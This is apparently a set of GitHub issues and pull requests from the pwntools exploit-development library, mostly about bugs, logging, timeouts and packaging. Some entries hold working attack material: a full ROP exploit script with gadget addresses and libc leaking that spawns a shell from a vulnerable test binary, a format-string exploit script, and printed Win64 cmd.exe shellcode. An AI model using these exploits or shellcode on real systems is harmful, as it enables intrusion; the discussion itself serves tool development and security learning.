Is this something that we have any interest in implementing? There are a lot of things that I want to use pwntools for, which have Python3 embedded in them (e.g. default GDB on Ubuntu).

Whenever i tried to load the binary on my environment using ELF it crashes and i got segmentation fault. What's the reason behind this? Is there any way to get this work on my device?

It would be awesome if we did not depend on the pre-built binaries in pwnlib/data/binutils.

I built them originally a long time ago and I have a hard time remembering how. I am pretty sure that with the exception of the objcopy/objdump it was a fairly standard thing to do.

I think that for those two I did some magic to figure out every possible target to compile them in. Or rather: Almost every possible target, as some of them made binutils now build.

Parse the instructions in the PLT section to determine which GOT entry the function stubs are loading.

This properly handles RELRO and PIE executables across the following configurations:

x86
gcc-4.8 (Ubuntu 4.8.5-4ubuntu2) 4.8.5
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

x64
gcc (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

arm
arm-linux-gnueabihf-gcc (Linaro GCC 6.2-2016.11) 6.2.1 20161016
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

thumb
arm-linux-gnueabihf-gcc (Linaro GCC 6.2-2016.11) 6.2.1 20161016
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

aarch64
aarch64-linux-gnu-gcc (Linaro GCC 6.2-2016.11) 6.2.1 20161016
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

arm-big
armeb-linux-gnueabihf-gcc (Linaro GCC 6.2-2016.11) 6.2.1 20161016
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

thumb-big
armeb-linux-gnueabihf-gcc (Linaro GCC 6.2-2016.11) 6.2.1 20161016
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

aarch64-big
aarch64_be-linux-gnu-gcc (Linaro GCC 6.2-2016.11) 6.2.1 20161016
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

testcases.zip contains sample binaries - these might be nice to add to the repo as actual test cases if possible (for regression testing, etc.).

Note that I haven't tested these changes with non-GCC compilers yet, so further testing is strongly appreciated (in particular, it'd be nice to know what linux-clang does!).

Consider the attached zip file; help.zip

On migrating from Kali to Ubuntu 20.04.2.0 LTS, I have noticed that pwntools runs significant slowly for local scripts on Ubuntu as compared to other linux distros.

Here is the result of the same script being ran on Ubuntu 20.04.2.0 LTS VMWare versus Kali Linux Virtualbox

Ubuntu 20.04.2.0 LTS VMware:

Kali Linux VirtualBox:

Running more tests, I have also experimented with other flavors as well:

Ubuntu 18.04 VMware : 2 minutes

Ubuntu Vagrant (VBOX) : 1 minute (attributed to the tester's faster pc but still significantly slow)

Debian Buster (Clean Install) : 5 seconds

Ubuntu WSL1 : 9 seconds

Furthermore, I have tried it on both v4.7.0 (dev) and v4.5.0 (stable) and the same issue persists.

Hence the only common cause spotted was the use of Ubuntu Desktop, which runs pwntools rather slowly.

Unable to get to the bottom of the issue so far, please do look into this and let me know if theres anything I can do to get to the bottom of this issue.

This branch is highly experimental, I don't even expect to get it merged any time soon (I should probably split it into several PRs), but I guess it is quite ready for automatic testing and reviews.

Traceback (most recent call last):
  File "foo.py", line 907, in <module>
    inp = sys.stdin.readline().strip().decode('utf-8')
  File "/lib/python2.7/site-packages/pwnlib/term/readline.py", line 412, in readline
    return readline(size)
  File "/lib/python2.7/site-packages/pwnlib/term/readline.py", line 376, in readline
    keymap.handle_input()
  File "/lib/python2.7/site-packages/pwnlib/term/keymap.py", line 20, in handle_input
    self.send(key.get())
  File "/lib/python2.7/site-packages/pwnlib/term/key.py", line 164, in get
    k = _peek()
  File "/lib/python2.7/site-packages/pwnlib/term/key.py", line 159, in _peek
    return _peek_ti() or _peek_csi() or _peek_simple()
  File "/lib/python2.7/site-packages/pwnlib/term/key.py", line 393, in _peek_csi
    return _peekkey_ss3(2)
  File "/lib/python2.7/site-packages/pwnlib/term/key.py", line 372, in _peekkey_ss3
    _cbuf = _cbuf[numb:] # XXX: numb is not defined
NameError: global name 'numb' is not defined

this happens when i press + and enter on the numeric block without having numlock on. also kinda weird even that this is handled by pwnlib, since i call a function from sys.

The logging subsystem was rewritten to use the logging module. I think this is a good idea and I think we can do it better. This PR is an attempt at that.

The current logging subsystem has some issues:

• It installs a new default Logger class. This means that if someone imports pwnlib and then uses the logging module they will get our overloaded Logger's. While this may not cause any problems (our Logger works just like logging.Logger in most regards) it is still bad; import pwnlib should have no side-effects.
• We generate different log records for the same program depending on the value of term.term_mode. If I install a file logger, I shouldn't see any difference.
• Spinners generate log levels originating from loggers names 'pwnlib.spinner.x'. This makes it hard to filter messages from a single submodule.

Lets begin with the latter issue. If I run this:

from pwn import *
import logging
logger = logging.getLogger('pwnlib.tubes.listen')
logger.setLevel(logging.WARNING)
sock = listen(1337).wait_for_connection()

I expect the spinners to not show. But they do. Instead I have to write:

from pwn import *
import logging
logger = logging.getLogger('pwnlib.spinner')
logger.setLevel(logging.WARNING)
sock = listen(1337).wait_for_connection()

But then I can't have any spinners at all :(.

Next issue; If I run this:

from pwn import *
sock = listen(1337)
sock.recvall()

And the send 10MB, I see this in my terminal:

[+] Trying to bind to 0.0.0.0 on port 1337: Done
[+] Waiting for connections on 0.0.0.0:1337: Got connection from 127.0.0.1 on port 35277
[+] Recieving all data: Done (10.00MB)
[*] Closed connection to 127.0.0.1 port 35277

Which is fine. But if I then also log to a file:

from pwn import *
import logging
logging.basicConfig(filename = 'test.log')
sock = listen(1337)
sock.recvall()

Then the file contains:

INFO:pwnlib.tubes.sock:Closed connection to 127.0.0.1 port 35279

But if I instead pipe the output from python into cat (thus setting term.term_mode to false) I see this in my terminal:

[*] Trying to bind to 0.0.0.0 on port 1337: 
[*] Trying to bind to 0.0.0.0 on port 1337: Trying 0.0.0.0
[+] Trying to bind to 0.0.0.0 on port 1337: Done
[*] Waiting for connections on 0.0.0.0:1337: 
[*] Recieving all data: 
[+] Waiting for connections on 0.0.0.0:1337: Got connection from 127.0.0.1 on port 35282
[*] Recieving all data: 0B
[*] Recieving all data: 1.69MB
[*] Recieving all data: 3.47MB
[*] Recieving all data: 5.24MB
[*] Recieving all data: 7.08MB
[*] Recieving all data: 8.92MB
[+] Recieving all data: Done (10.00MB)
[*] Closed connection to 127.0.0.1 port 35282

And this in test.log:

INFO:pwnlib.spinner.0:Trying to bind to 0.0.0.0 on port 1337: 
INFO:pwnlib.spinner.0:Trying to bind to 0.0.0.0 on port 1337: Trying 0.0.0.0
INFO:pwnlib.spinner.0:Trying to bind to 0.0.0.0 on port 1337: Done
INFO:pwnlib.spinner.1:Waiting for connections on 0.0.0.0:1337: 
INFO:pwnlib.spinner.2:Recieving all data: 
INFO:pwnlib.spinner.1:Waiting for connections on 0.0.0.0:1337: Got connection from 127.0.0.1 on port 35282
INFO:pwnlib.spinner.2:Recieving all data: 0B
INFO:pwnlib.spinner.2:Recieving all data: 1.69MB
INFO:pwnlib.spinner.2:Recieving all data: 3.47MB
INFO:pwnlib.spinner.2:Recieving all data: 5.24MB
INFO:pwnlib.spinner.2:Recieving all data: 7.08MB
INFO:pwnlib.spinner.2:Recieving all data: 8.92MB
INFO:pwnlib.spinner.2:Recieving all data: Done (10.00MB)
INFO:pwnlib.tubes.sock:Closed connection to 127.0.0.1 port 35282

All three issues are resolved in this PR.

The semantics have already changes several times, and I think that is mostly due to them never been explicitly written down. So let's fix that.

Currently the semantics are as follows to the best of my knowledge.

Return value:

• If the call was successful the received data is returned.
• If there was a timeout ("timeout" should be clarified -- @zachriggle?) the empty string is returned.
• If the tube is closed EOFError is raised.

The timeout-argument:

• If None, the "default" value is used. The default value can refer to a value given when creating a socket or context.timeout if None was also given here.
• If a non-negative number is given this is used as the timeout during the function call (or the tubes lifetime if in a constructor).
• Everything else raises an error.

I can recall at least three other semantics being applied in pwnlib.

I suggest we adapt these new semantics:

Return value:

• If the call was successful the received data is returned.
• If there was a timeout (again, needs clarification) socket.timeout is raised.
• If the tube is closed EOFError is raised.

The timeout-argument:

• If the string 'default' is given, the "default" value is used, as described above.
• If None is given there is no timeout, i.e. blocking forever is possible. This is also the semantics of socket module in the standard library.
• If a non-negative number is given the semantics are as described above.
• Everything else raises an error.

The biggest issue I have with the current semantics is returning the empty string when a timeout occurs. On several occasions I've made a typo in e.g. a recvuntil-call and thus always got the empty string as a result; if this result is never used it can be hard to find the bug.

I also really think we should adopt the None means no timeout -semantics, as 1) they are used by the standard library and 2) timeout = None reads better. Also note that the user will never have to actually write 'default' so it can be anything other than None and numbers.

The intention of this is to make it possible to test pwntools on systems where some functionality is known not to work. This makes use of a new sphinx feature to selectively disable doctests. In particular, doctests that require binutils/qemu for a specific architecture, doctests that require internet access and doctests that depend on specific machine setup (marked travis) can be skipped.

This is a work in progress. Currently all flags are hardcoded as False, instead they should default to True and be changeable through flags or environment variables. But it should be ready for general feedback on the main idea. Is this something you'd in principle be willing to consider @zachriggle?

My use-case for this is automated testing for distribution packaging. Another usecase would be a possibility for contributers to run at least some of the testsuite locally without having the full setup that is available on travis.

It looks like a bug.

I am following an article(chinese language) to learn ROP.

Assumption: YOU DONT HAVE libc.so.

The system is i686 Ubuntu 15.04:

Linux vagrant 3.19.0-56-generic #62-Ubuntu SMP Thu Mar 10 22:39:28 UTC 2016 i686 i686 i686 GNU/Linux

The vulnerable program:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

DISAS:

(gdb) disas main
Dump of assembler code for function main:
   0x0804840d <+0>: push   %ebp
   0x0804840e <+1>: mov    %esp,%ebp
   0x08048410 <+3>: and    $0xfffffff0,%esp
   0x08048413 <+6>: sub    $0x10,%esp
   0x08048416 <+9>: call   0x80483e4 <vulnerable_function>
   0x0804841b <+14>:    movl   $0xd,0x8(%esp)
   0x08048423 <+22>:    movl   $0x8048504,0x4(%esp)
   0x0804842b <+30>:    movl   $0x1,(%esp)
   0x08048432 <+37>:    call   0x8048300 <[email protected]>
   0x08048437 <+42>:    leave
   0x08048438 <+43>:    ret
End of assembler dump.
(gdb) disas vulnerable_function
Dump of assembler code for function vulnerable_function:
   0x080483e4 <+0>: push   %ebp
   0x080483e5 <+1>: mov    %esp,%ebp
   0x080483e7 <+3>: sub    $0x98,%esp
   0x080483ed <+9>: movl   $0x100,0x8(%esp)
   0x080483f5 <+17>:    lea    -0x88(%ebp),%eax
   0x080483fb <+23>:    mov    %eax,0x4(%esp)
   0x080483ff <+27>:    movl   $0x0,(%esp)
   0x08048406 <+34>:    call   0x8048320 <[email protected]>
   0x0804840b <+39>:    leave
   0x0804840c <+40>:    ret
End of assembler dump.

ASLR:

$ cat /proc/sys/kernel/randomize_va_space
2

compile:

$ gcc -fno-stack-protector -o level2 level2.c

Addr of .bss:

[25] .bss              NOBITS          0804a024 001024 000004 00  WA  0   0  1

gadgets:

$ ROPgadget --binary ./level2 --only "pop|pop|pop|ret"
Gadgets information
============================================================
0x0804850b : pop ebp ; ret
0x08048508 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f1 : pop ebx ; ret
0x0804850a : pop edi ; pop ebp ; ret
0x08048509 : pop esi ; pop edi ; pop ebp ; ret
0x080482da : ret
0x080483ce : ret 0xeac1

Unique gadgets found: 7

Addr of vulnerable_function:

(gdb) print vulnerable_function
$1 = {<text variable, no debug info>} 0x804844b <vulnerable_function>

the exploit: you see a leak there using [email protected] to get the actual addr of write

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

elf = ELF('./level2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x804844b

def leak(address):
    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data


p = process('./level2')
#p = remote('127.0.0.1', 10002)

d = DynELF(leak, elf=ELF('./level2'))

system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)

bss_addr = 0x0804a024
pppr = 0x08048509 # addr of pop pop pop ret

payload2 = 'a'*140  + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(10)
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
#ss = raw_input()

print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/dash\0")

p.interactive()

And I got this:

[+] Started program './level2'
0x8048000 => 7f454c46
[+] Loading from '/home/vagrant/workspace/rop/level2': Done
0x804a004 => 383977b7
[+] Resolving 'system' in 'libc.so': 0xb7773938
0x8049f14 => 01000000
0x8049f1c => 0c000000
0x8049f24 => 0d000000
0x8049f2c => 19000000
0x8049f34 => 1b000000
0x8049f3c => 1a000000
0x8049f44 => 1c000000
0x8049f4c => f5feff6f
0x8049f54 => 05000000
0x8049f5c => 06000000
0x8049f64 => 0a000000
0x8049f6c => 0b000000
0x8049f74 => 15000000
0x8049f7c => 03000000
0x8049f80 => 00a00408
0xb777393c => 243c77b7
0xb7773c24 => 00000000
0xb7773944 => 283c77b7
0xb7773c2c => 943e77b7
0xb7773e94 => 00000000
0xb7773c34 => 58c874b7
0xb774c85c => 38c874b7
0xb774c838 => 2f6c6962
0xb774c83c => 2f693338
0xb774c840 => 362d6c69
0xb774c844 => 6e75782d
0xb774c848 => 676e752f
0xb774c84c => 6c696263
0xb774c850 => 2e736f2e
0xb774c854 => 36000000
0xb774c858 => 00a058b7
0xb758a000 => 7f454c46
0xb774c860 => a40d74b7
0xb758a004 => 01010103
0xb7740da4 => 01000000
0xb7740dac => 0e000000
0xb7740db4 => 0c000000
0xb7740dbc => 19000000
0xb7740dc4 => 1b000000
0xb7740dcc => 04000000
0xb7740dd4 => f5feff6f
0xb7740dd8 => b8a158b7
0xb7740ddc => 05000000
0xb7740de0 => 747459b7
0xb7740de4 => 06000000
0xb7740de8 => d4de58b7
0xb758a1b8 => f3030000
0xb758a1bc => 0a000000
0xb758a1c0 => 00020000
0xb758b390 => a5050000
0xb758d000 => 8ae4ee1c
0xb7593924 => a1300000
0xb759a515 => 73797374
0xb759a519 => 656d0074
0xb7593928 => 60b10300
system_addr=0xb75c5160

###sending payload2 ...###
[*] Switching to interactive mode
$ ls
[*] Got EOF while reading in interactive
$ ls
[*] Program './level2' stopped with exit code -11
[*] Got EOF while sending in interactive

It looks like something breaks the interactive mode. I typed two times ls, then ENTER. When did I send EOF? And I could not find info about exit code -11.

UPDATED: The 140 is confirmed in a core dump using exploit-pattern

This adds basic WinExec("cmd.exe") Win64 shellcode generation to shellcraft. The generated shellcode does not contain null-bytes.

I've tried to split it up into smaller reusable chunks. Used it with some windows pwn and it worked for me.

We could try to add tests using wine, but since windows support is more of an addon in pwntools I didn't go for it yet.

$ shellcraft amd64.windows.cmd
[!] Could not find system include headers for amd64-windows
31f665488b5e60488b5b18488b732048ad489648ad488b5820448b433c4c89c24801da4531c941b1884c01ca448b024901d8418b70204801de4831c949b947657450726f634148ffc18b048e4801d84c390875f2418b70244801de668b0c4e418b701c4801de8b048e4801d84889c748b801010101010101015048b856686f4479646201483104244889e231f665488b4e60488b4918488b712048ad489648ad488b48204883ec30ffd74883c4384889c648b801010101010101015048b8626c652f64796401483104244889e14883ec30ffd64883c438ebfe

When trying to call a syscall with more than 4 arguments, the excess arguments are silently ignored instead of pushing them to the stack.

$ shellcraft -f asm mips.linux.syscall SYS_sendto 3 0x123456 0x100 0 0xabcdefff 0x10
    /* call sendto(3, 0x123456, 0x100, 0, 0xabcdefff, 0x10) */
    li $t9, ~3
    not $a0, $t9
    li $t9, ~0x123456
    not $a1, $t9
    li $t9, ~0x100
    not $a2, $t9
    slti $a3, $zero, 0xFFFF /* $a3 = 0 */
    ori $v0, $zero, SYS_sendto
    syscall 0x40404

The expected output would include the last two arguments on the stack:

/* call sendto(3, 0x123456, 0x100, 0, 0xabcdefff, 0x10) */
addiu $sp, $sp, -0x18
li $v0, 0xabcdefff
sw $v0, 0x10($sp)
li $t9, ~0x10
not $v0, $t9
sw $v0, 0x14($sp)

li $t9, ~3
not $a0, $t9
li $t9, ~0x123456
not $a1, $t9
li $t9, ~0x100
not $a2, $t9
slti $a3, $zero, 0xFFFF /* $a3 = 0 */
/* call sendto() */
ori $v0, $zero, SYS_sendto
syscall 0x40404

• Fixes a bug of missing .recvall().strip() when self.sftp == False
• Adds option ignore_failed_read to ignore files in the folder that current user has no read access
• Deletes created temporary file after download

hi!

I'm trying to package the new 4.9.0 version and noticed this diff by our packaging tools:

usr/lib/python3.10/site-packages/pwntools-doc/		      |	usr/pwntools-doc/
usr/lib/python3.10/site-packages/pwntools-doc/CHANGELOG.md    |	usr/pwntools-doc/CHANGELOG.md
usr/lib/python3.10/site-packages/pwntools-doc/CONTRIBUTING.md |	usr/pwntools-doc/CONTRIBUTING.md
usr/lib/python3.10/site-packages/pwntools-doc/DOCKER.md	      |	usr/pwntools-doc/DOCKER.md
usr/lib/python3.10/site-packages/pwntools-doc/LICENSE-pwntool |	usr/pwntools-doc/LICENSE-pwntools.txt
usr/lib/python3.10/site-packages/pwntools-doc/README.md	      |	usr/pwntools-doc/README.md
usr/lib/python3.10/site-packages/pwntools-doc/TESTING.md      |	usr/pwntools-doc/TESTING.md
usr/lib/python3.10/site-packages/pwntools-doc/requirements.tx |	usr/pwntools-doc/requirements.txt

I ultimately don't care that much about the documentation location, but /usr/pwntools-doc is not a standard location according to the Filesystem Hierarchy Standard. Is there a way I can change this to /usr/share/doc/pwntools when building the package?

I'm using this command to prepare the package contents (${pkgdir} is the directory that gets put into the package):

python setup.py install -O1 --root="${pkgdir}" --skip-build --only-use-pwn-command

Thanks!

Newest Version. The process is random, sometimes more and sometimes less, but there is bound to be an error.

Traceback (most recent call last): File "/ root/Desktop/PwnExploits/test.py", line 11, in < module >. Autofmt = FmtStr (exec_fmt). File "/ usr/local/lib/python3.10/dist-packages/pwnlib/fmtstr.py", line 844, in _ _ init__. Self.offset, self.padlen = self.find_offset (). File "/ usr/local/lib/python3.10/dist-packages/pwnlib/fmtstr.py", line 863, in find_offset. Leak = self.leak_stack (off, marker). File "/ usr/local/lib/python3.10/dist-packages/pwnlib/fmtstr.py", line 854, in leak_stack. Leak = re.findall (br "START (. *?) END", leak, re.MULTILINE | re.DOTALL) [0]. IndexError: list index out of range

#2077 tried but not work , still have this error.and dont know why. I have tried a lot of ppls code , including pwntools's wiki

from pwn import *

def exec_fmt(pad): p = process("/root/Desktop/PwnSubjects/pwn5") p.send(pad) info = p.recv() return info

autofmt = FmtStr(exec_fmt) offset = autofmt.offset print("offset ===> ", offset)

p = process("/root/Desktop/PwnSubjects/pwn5") bss_ad = 0x0804C044 pad = fmtstr_payload(offset, {bss_ad:1}) p.send(pad) p.recvuntil("your passwd:") p.send("1")

p.interactive()

elf: pwn5.zip

The context.newline or self.newline variable isn't obeyed when typing in interactive mode. It is used when sending and receiving lines through tube.sendline though, causing a mismatch.

The receiving end of the tube.interactive() already has handling of newlines, but the sending side does not.

Example:

from pwn import *
io = process('cat')
io.newline = b'\r\n'
io.sendline(b'auto')
io.interactive()

$ python testinteractive.py DEBUG
[x] Starting local process '/usr/bin/cat' argv=[b'cat']
[+] Starting local process '/usr/bin/cat' argv=[b'cat'] : pid 19060
[DEBUG] Sent 0x6 bytes:
    b'auto\r\n'
[*] Switching to interactive mode
[DEBUG] Received 0x6 bytes:
    b'auto\r\n'
auto
$ test
[DEBUG] Sent 0x5 bytes:
    b'test\n'
[DEBUG] Received 0x5 bytes:
    b'test\n'
test

The expected outcome would be to send b'test\r\n'.

The same problem arises in non-term mode (PWNLIB_NOTERM=1), where stdin is read in binary mode causing the OS line seperators to come through. Correctly replacing them with the context.newline setting allows to use the interactive input on windows hosts as well, without constantly sending \r\n.